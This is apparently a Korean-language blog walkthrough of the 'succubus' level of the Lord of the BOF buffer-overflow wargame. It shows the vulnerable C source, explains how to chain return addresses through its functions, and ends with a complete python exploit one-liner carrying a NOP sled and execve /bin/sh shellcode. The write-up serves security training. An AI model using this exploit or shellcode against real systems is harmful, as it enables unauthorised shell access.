succubus, succubus.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
The Lord of the BOF : The Fellowship of the BOF | |
- succubus | |
- calling functions continuously | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <dumpcode.h> | |
// the inspector | |
int check = 0; | |
void MO(char *cmd){ | |
if(check != 4) exit(0); | |
printf("welcome to the MO!\n"); | |
// olleh! | |
system(cmd); | |
} | |
void YUT(void){ | |
if(check != 3) exit(0); | |
printf("welcome to the YUT!\n"); | |
check = 4; | |
} | |
void GUL(void){ | |
if(check != 2) exit(0); | |
printf("welcome to the GUL!\n"); | |
check = 3; | |
} | |
void GYE(void){ | |
if(check != 1) exit(0); | |
printf("welcome to the GYE!\n"); | |
check = 2; | |
} | |
void DO(void){ | |
printf("welcome to the DO!\n"); | |
check = 1; | |
} | |
main(int argc, char *argv[]){ | |
char buffer[40]; | |
char *addr; | |
if(argc < 2){ | |
printf("argv error\n"); | |
exit(0); | |
} | |
// you cannot use library | |
if(strchr(argv[1], '\x40')){ | |
printf("You cannot use library\n"); | |
exit(0); | |
} | |
// check address | |
addr = (char *)&DO; | |
if(memcmp(argv[1]+44, &addr, 4) != 0){ | |
printf("You must fall in love with DO\n"); | |
exit(0); | |
} | |
// overflow! | |
strcpy(buffer, argv[1]); | |
printf("%s\n", buffer); | |
// stack destroyer | |
// 100 : extra space for copied argv[1] | |
memset(buffer, 0, 44); | |
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); | |
// LD_* eraser | |
// 40 : extra space for memset function | |
memset(buffer-3000, 0, 3000-40); | |
} |
코드를 보면 메모리도 초기화하고 RET검사도 하는 것으로 보아 위에 선언된 함수인 DO, GAE, GUL, YUT, MO함수를 RET로 이어서 마지막 MO 함수의 system함수를 사용하여 쉘을 얻으라는 것 같다.
readelf, nm, objdump등의 툴을 사용하여 각 함수들의 주소를 알아보자.
주소를 알았다.
[버퍼][DO][GYE][GUL][YUT][MO] 로 입력값을 넣게되면 check가 증가하면서 함수를 순서대로 실행하고 마지막 함수인 MO까지 실행이 되고 프로그램이 종료된다(system함수는 인자 없어서 에러)
[버퍼][DO][GYE][GUL][YUT][MO][AAAABBBBCCCC]를 입력하고 ret코드 이전에 브레이크를 잡아서 메모리를 확인해 보자.
AAAABBBBCCCC로 RET의 위치를 쉽게 알 수 있다. 스택이 초기화 되지만 100바이트의 여유공간이 있기 때문에 이곳에 쉘코드를 위치시켜 공격을 할 수 있다.
페이로드는
[버퍼][SFP][RET]
[ 버퍼 ][DO][GYE][GUL][YUT][MO][쉘코드주소][쉘코드]
로 구성하였다.
쉘코드를 넣고 RET를 이동시키면 바로 쉘을 얻을 수 있다.
MO함수 안의 system함수를 사용하지 않았다. 그냥 DO에서도 쉘을 얻을 수 있을것 같아서 DO의 RET를 이용하여 공격을 다시 시도해 보았다.
[버퍼][SFP][RET]
[ 버퍼 ][DO][쉘코드주소][쉘코드]
똑같이 쉘을 얻을 수 있었다.
쉘코드 :
./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "\xa8\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
0 개의 댓글:
댓글 쓰기